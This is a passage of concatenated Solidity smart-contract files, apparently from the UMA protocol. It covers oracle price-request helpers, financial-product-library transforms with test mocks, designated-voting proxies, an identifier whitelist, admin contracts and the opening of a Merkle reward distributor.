function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceExpiration(uint256 requestedTime) internal {
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Increase token allowance to enable the optimistic oracle reward transfer.
FixedPoint.Unsigned memory reward = _computeFinalFees();
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), reward.rawValue);
optimisticOracle.requestPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData(),
collateralCurrency,
reward.rawValue // Reward is equal to the final fee
);
// Apply haircut to all sponsors by decrementing the cumlativeFeeMultiplier by the amount lost from the final fee.
_adjustCumulativeFeeMultiplier(reward, _pfc());
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceExpiration(uint256 requestedTime) internal returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
require(
optimisticOracle.hasPrice(
address(this),
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
)
);
int256 optimisticOraclePrice =
optimisticOracle.settleAndGetPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
);
// For now we don't want to deal with negative prices in positions.
if (optimisticOraclePrice < 0) {
optimisticOraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(optimisticOraclePrice)), requestedTime);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceLiquidation(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(_transformPriceIdentifier(requestedTime), requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceLiquidation(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(_transformPriceIdentifier(requestedTime), requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(_transformPriceIdentifier(requestedTime), requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(oraclePrice)), requestedTime);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyOpenState() internal view {
require(contractState == ContractState.Open, "Contract state is not OPEN");
}
function _onlyPreExpiration() internal view {
require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry");
}
function _onlyPostExpiration() internal view {
require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry");
}
function _onlyCollateralizedPosition(address sponsor) internal view {
require(
_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0),
"Position has no collateral"
);
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
if (!numTokens.isGreaterThan(0)) {
return FixedPoint.fromUnscaledUint(0);
} else {
return collateral.div(numTokens);
}
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
function _transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function _transformPriceIdentifier(uint256 requestTime) internal view returns (bytes32) {
if (!address(financialProductLibrary).isContract()) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(address(tokenCurrency));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes the decimals read only method.
*/
interface IERC20Standard is IERC20 {
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05`
* (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value
* {ERC20} uses, unless {_setupDecimals} is called.
*
* NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic
* of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../../common/implementation/FixedPoint.sol";
interface ExpiringContractInterface {
function expirationTimestamp() external view returns (uint256);
}
/**
* @title Financial product library contract
* @notice Provides price and collateral requirement transformation interfaces that can be overridden by custom
* Financial product library implementations.
*/
abstract contract FinancialProductLibrary {
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Transforms a given oracle price using the financial product libraries transformation logic.
* @param oraclePrice input price returned by the DVM to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedOraclePrice input oraclePrice with the transformation function applied.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
virtual
returns (FixedPoint.Unsigned memory)
{
return oraclePrice;
}
/**
* @notice Transforms a given collateral requirement using the financial product libraries transformation logic.
* @param oraclePrice input price returned by DVM used to transform the collateral requirement.
* @param collateralRequirement input collateral requirement to be transformed.
* @return transformedCollateralRequirement input collateral requirement with the transformation function applied.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view virtual returns (FixedPoint.Unsigned memory) {
return collateralRequirement;
}
/**
* @notice Transforms a given price identifier using the financial product libraries transformation logic.
* @param priceIdentifier input price identifier defined for the financial contract.
* @param requestTime timestamp the identifier is to be used at. EG the time that a price request would be sent using this identifier.
* @return transformedPriceIdentifier input price identifier with the transformation function applied.
*/
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
virtual
returns (bytes32)
{
return priceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
// Implements a simple FinancialProductLibrary to test price and collateral requirement transoformations.
contract FinancialProductLibraryTest is FinancialProductLibrary {
FixedPoint.Unsigned public priceTransformationScalar;
FixedPoint.Unsigned public collateralRequirementTransformationScalar;
bytes32 public transformedPriceIdentifier;
bool public shouldRevert;
constructor(
FixedPoint.Unsigned memory _priceTransformationScalar,
FixedPoint.Unsigned memory _collateralRequirementTransformationScalar,
bytes32 _transformedPriceIdentifier
) public {
priceTransformationScalar = _priceTransformationScalar;
collateralRequirementTransformationScalar = _collateralRequirementTransformationScalar;
transformedPriceIdentifier = _transformedPriceIdentifier;
}
// Set the mocked methods to revert to test failed library computation.
function setShouldRevert(bool _shouldRevert) public {
shouldRevert = _shouldRevert;
}
// Create a simple price transformation function that scales the input price by the scalar for testing.
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
returns (FixedPoint.Unsigned memory)
{
require(!shouldRevert, "set to always reverts");
return oraclePrice.mul(priceTransformationScalar);
}
// Create a simple collateral requirement transformation that doubles the input collateralRequirement.
function transformCollateralRequirement(
FixedPoint.Unsigned memory price,
FixedPoint.Unsigned memory collateralRequirement
) public view override returns (FixedPoint.Unsigned memory) {
require(!shouldRevert, "set to always reverts");
return collateralRequirement.mul(collateralRequirementTransformationScalar);
}
// Create a simple transformPriceIdentifier function that returns the transformed price identifier.
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
override
returns (bytes32)
{
require(!shouldRevert, "set to always reverts");
return transformedPriceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
contract ExpiringMultiPartyMock is Testable {
using FixedPoint for FixedPoint.Unsigned;
FinancialProductLibrary public financialProductLibrary;
uint256 public expirationTimestamp;
FixedPoint.Unsigned public collateralRequirement;
bytes32 public priceIdentifier;
constructor(
address _financialProductLibraryAddress,
uint256 _expirationTimestamp,
FixedPoint.Unsigned memory _collateralRequirement,
bytes32 _priceIdentifier,
address _timerAddress
) public Testable(_timerAddress) {
expirationTimestamp = _expirationTimestamp;
collateralRequirement = _collateralRequirement;
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
priceIdentifier = _priceIdentifier;
}
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
function transformPriceIdentifier(uint256 requestTime) public view returns (bytes32) {
if (address(financialProductLibrary) == address(0)) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain ancillary data.
abstract contract VotingAncillaryInterfaceTesting is OracleAncillaryInterface, VotingAncillaryInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingAncillaryInterface.PendingRequestAncillary[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "./Constants.sol";
/**
* @title Proxy to allow voting from another address.
* @dev Allows a UMA token holder to designate another address to vote on their behalf.
* Each voter must deploy their own instance of this contract.
*/
contract DesignatedVoting is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the Voter role. Is also permanently permissioned as the minter role.
Voter // Can vote through this contract.
}
// Reference to the UMA Finder contract, allowing Voting upgrades to be performed
// without requiring any calls to this contract.
FinderInterface private finder;
/**
* @notice Construct the DesignatedVoting contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param ownerAddress address of the owner of the DesignatedVoting contract.
* @param voterAddress address to which the owner has delegated their voting power.
*/
constructor(
address finderAddress,
address ownerAddress,
address voterAddress
) public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress);
_createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress);
_setWithdrawRole(uint256(Roles.Owner));
finder = FinderInterface(finderAddress);
}
/****************************************
* VOTING AND REWARD FUNCTIONALITY *
****************************************/
/**
* @notice Forwards a commit to Voting.
* @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param hash the keccak256 hash of the price you want to vote for and a random integer salt value.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().commitVote(identifier, time, ancillaryData, hash);
}
/**
* @notice Forwards a batch commit to Voting.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(VotingAncillaryInterface.CommitmentAncillary[] calldata commits)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchCommit(commits);
}
/**
* @notice Forwards a reveal to Voting.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price used along with the `salt` to produce the `hash` during the commit phase.
* @param salt used along with the `price` to produce the `hash` during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().revealVote(identifier, time, price, ancillaryData, salt);
}
/**
* @notice Forwards a batch reveal to Voting.
* @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(VotingAncillaryInterface.RevealAncillary[] calldata reveals)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchReveal(reveals);
}
/**
* @notice Forwards a reward retrieval to Voting.
* @dev Rewards are added to the tokens already held by this contract.
* @param roundId defines the round from which voting rewards will be retrieved from.
* @param toRetrieve an array of PendingRequests which rewards are retrieved from.
* @return amount of rewards that the user should receive.
*/
function retrieveRewards(uint256 roundId, VotingAncillaryInterface.PendingRequestAncillary[] memory toRetrieve)
public
onlyRoleHolder(uint256(Roles.Voter))
returns (FixedPoint.Unsigned memory)
{
return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve);
}
function _getVotingAddress() private view returns (VotingAncillaryInterface) {
return VotingAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Withdrawable.sol";
import "./DesignatedVoting.sol";
/**
* @title Factory to deploy new instances of DesignatedVoting and look up previously deployed instances.
* @dev Allows off-chain infrastructure to look up a hot wallet's deployed DesignatedVoting contract.
*/
contract DesignatedVotingFactory is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract.
}
address private finder;
mapping(address => DesignatedVoting) public designatedVotingContracts;
/**
* @notice Construct the DesignatedVotingFactory contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
*/
constructor(address finderAddress) public {
finder = finderAddress;
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender);
}
/**
* @notice Deploys a new `DesignatedVoting` contract.
* @param ownerAddress defines who will own the deployed instance of the designatedVoting contract.
* @return designatedVoting a new DesignatedVoting contract.
*/
function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) {
DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender);
designatedVotingContracts[msg.sender] = designatedVoting;
return designatedVoting;
}
/**
* @notice Associates a `DesignatedVoting` instance with `msg.sender`.
* @param designatedVotingAddress address to designate voting to.
* @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter`
* address and wants that reflected here.
*/
function setDesignatedVoting(address designatedVotingAddress) external {
designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Withdrawable.sol";
// WithdrawableTest is derived from the abstract contract Withdrawable for testing purposes.
contract WithdrawableTest is Withdrawable {
enum Roles { Governance, Withdraw }
// solhint-disable-next-line no-empty-blocks
constructor() public {
_createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender);
_createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender);
}
function pay() external payable {
require(msg.value > 0);
}
function setInternalWithdrawRole(uint256 setRoleId) public {
_setWithdrawRole(setRoleId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* @title An implementation of ERC20 with the same interface as the Compound project's testnet tokens (mainly DAI)
* @dev This contract can be deployed or the interface can be used to communicate with Compound's ERC20 tokens. Note:
* this token should never be used to store real value since it allows permissionless minting.
*/
contract TestnetERC20 is ERC20 {
/**
* @notice Constructs the TestnetERC20.
* @param _name The name which describes the new token.
* @param _symbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _decimals The number of decimals to define token precision.
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
}
// Sample token information.
/**
* @notice Mints value tokens to the owner address.
* @param ownerAddress the address to mint to.
* @param value the amount of tokens to mint.
*/
function allocateTo(address ownerAddress, uint256 value) external {
_mint(ownerAddress, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/IdentifierWhitelistInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Stores a whitelist of supported identifiers that the oracle can provide prices for.
*/
contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
mapping(bytes32 => bool) private supportedIdentifiers;
/****************************************
* EVENTS *
****************************************/
event SupportedIdentifierAdded(bytes32 indexed identifier);
event SupportedIdentifierRemoved(bytes32 indexed identifier);
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (!supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = true;
emit SupportedIdentifierAdded(identifier);
}
}
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = false;
emit SupportedIdentifierRemoved(identifier);
}
}
/****************************************
* WHITELIST GETTERS FUNCTIONS *
****************************************/
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view override returns (bool) {
return supportedIdentifiers[identifier];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/AdministrateeInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Admin for financial contracts in the UMA system.
* @dev Allows appropriately permissioned admin roles to interact with financial contracts.
*/
contract FinancialContractsAdmin is Ownable {
/**
* @notice Calls emergency shutdown on the provided financial contract.
* @param financialContract address of the FinancialContract to be shut down.
*/
function callEmergencyShutdown(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.emergencyShutdown();
}
/**
* @notice Calls remargin on the provided financial contract.
* @param financialContract address of the FinancialContract to be remargined.
*/
function callRemargin(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.remargin();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../interfaces/AdministrateeInterface.sol";
// A mock implementation of AdministrateeInterface, taking the place of a financial contract.
contract MockAdministratee is AdministrateeInterface {
uint256 public timesRemargined;
uint256 public timesEmergencyShutdown;
function remargin() external override {
timesRemargined++;
}
function emergencyShutdown() external override {
timesEmergencyShutdown++;
}
function pfc() external view override returns (FixedPoint.Unsigned memory) {
return FixedPoint.fromUnscaledUint(0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* Inspired by:
* - https://github.com/pie-dao/vested-token-migration-app
* - https://github.com/Uniswap/merkle-distributor
* - https://github.com/balancer-labs/erc20-redeemable
*
* @title MerkleDistributor contract.
* @notice Allows an owner to distribute any reward ERC20 to claimants according to Merkle roots. The owner can specify
* multiple Merkle roots distributions with customized reward currencies.
* @dev The Merkle trees are not validated in any way, so the system assumes the contract owner behaves honestly.
*/
contract MerkleDistributor is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// A Window maps a Merkle root to a reward token address.
struct Window {
// Merkle root describing the distribution.
bytes32 merkleRoot;
// Currency in which reward is processed.
IERC20 rewardToken;
// IPFS hash of the merkle tree. Can be used to independently fetch recipient proofs and tree. Note that the canonical
// data type for storing an IPFS hash is a multihash which is the concatenation of <varint hash function code>
// <varint digest size in bytes><hash function output>. We opted to store this in a string type to make it easier
// for users to query the ipfs data without needing to reconstruct the multihash. to view the IPFS data simply
// go to https://cloudflare-ipfs.com/ipfs/<IPFS-HASH>.
string ipfsHash;
}
// Represents an account's claim for `amount` within the Merkle root located at the `windowIndex`.
struct Claim {
uint256 windowIndex;
uint256 amount;
uint256 accountIndex; // Used only for bitmap. Assumed to be unique for each claim.
address account;
bytes32[] merkleProof;
}
// Windows are mapped to arbitrary indices.
mapping(uint256 => Window) public merkleWindows;
// Index of next created Merkle root.
uint256 public nextCreatedIndex;
// Track which accounts have claimed for each window index.
// Note: uses a packed array of bools for gas optimization on tracking certain claims. Copied from Uniswap's contract.
mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap;
/****************************************
* EVENTS
****************************************/
event Claimed(
address indexed caller,
uint256 windowIndex,
address indexed account,
uint256 accountIndex,
uint256 amount,
address indexed rewardToken
);
event CreatedWindow(
uint256 indexed windowIndex,
uint256 rewardsDeposited,
address indexed rewardToken,
address owner
);
event WithdrawRewards(address indexed owner, uint256 amount, address indexed currency);
event DeleteWindow(uint256 indexed windowIndex, address owner);
/****************************
* ADMIN FUNCTIONS
****************************/
/**
* @notice Set merkle root for the next available window index and seed allocations.
* @notice Callable only by owner of this contract. Caller must have approved this contract to transfer
* `rewardsToDeposit` amount of `rewardToken` or this call will fail. Importantly, we assume that the
* owner of this contract correctly chooses an amount `rewardsToDeposit` that is sufficient to cover all
* claims within the `merkleRoot`. Otherwise, a race condition can be created. This situation can occur
* because we do not segregate reward balances by window, for code simplicity purposes.
* (If `rewardsToDeposit` is purposefully insufficient to payout all claims, then the admin must
* subsequently transfer in rewards or the following situation can occur).
* Example race situation:
* - Window 1 Tree: Owner sets `rewardsToDeposit=100` and insert proofs that give claimant A 50 tokens and
* claimant B 51 tokens. The owner has made an error by not setting the `rewardsToDeposit` correctly to 101.
* - Window 2 Tree: Owner sets `rewardsToDeposit=1` and insert proofs that give claimant A 1 token. The owner
* correctly set `rewardsToDeposit` this time.
* - At this point contract owns 100 + 1 = 101 tokens. Now, imagine the following sequence:
* (1) Claimant A claims 50 tokens for Window 1, contract now has 101 - 50 = 51 tokens.
* (2) Claimant B claims 51 tokens for Window 1, contract now has 51 - 51 = 0 tokens.
* (3) Claimant A tries to claim 1 token for Window 2 but fails because contract has 0 tokens.
* - In summary, the contract owner created a race for step(2) and step(3) in which the first claim would
* succeed and the second claim would fail, even though both claimants would expect their claims to succeed.
* @param rewardsToDeposit amount of rewards to deposit to seed this allocation.
* @param rewardToken ERC20 reward token.
* @param merkleRoot merkle root describing allocation.
* @param ipfsHash hash of IPFS object, conveniently stored for clients
*/
function setWindow(
uint256 rewardsToDeposit,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) external onlyOwner {
uint256 indexToSet = nextCreatedIndex;
nextCreatedIndex = indexToSet.add(1);
_setWindow(indexToSet, rewardsToDeposit, rewardToken, merkleRoot, ipfsHash);
}
/**
* @notice Delete merkle root at window index.
* @dev Callable only by owner. Likely to be followed by a withdrawRewards call to clear contract state.
* @param windowIndex merkle root index to delete.
*/
function deleteWindow(uint256 windowIndex) external onlyOwner {
delete merkleWindows[windowIndex];
emit DeleteWindow(windowIndex, msg.sender);
}
/**
* @notice Emergency method that transfers rewards out of the contract if the contract was configured improperly.
* @dev Callable only by owner.
* @param rewardCurrency rewards to withdraw from contract.
* @param amount amount of rewards to withdraw.
*/
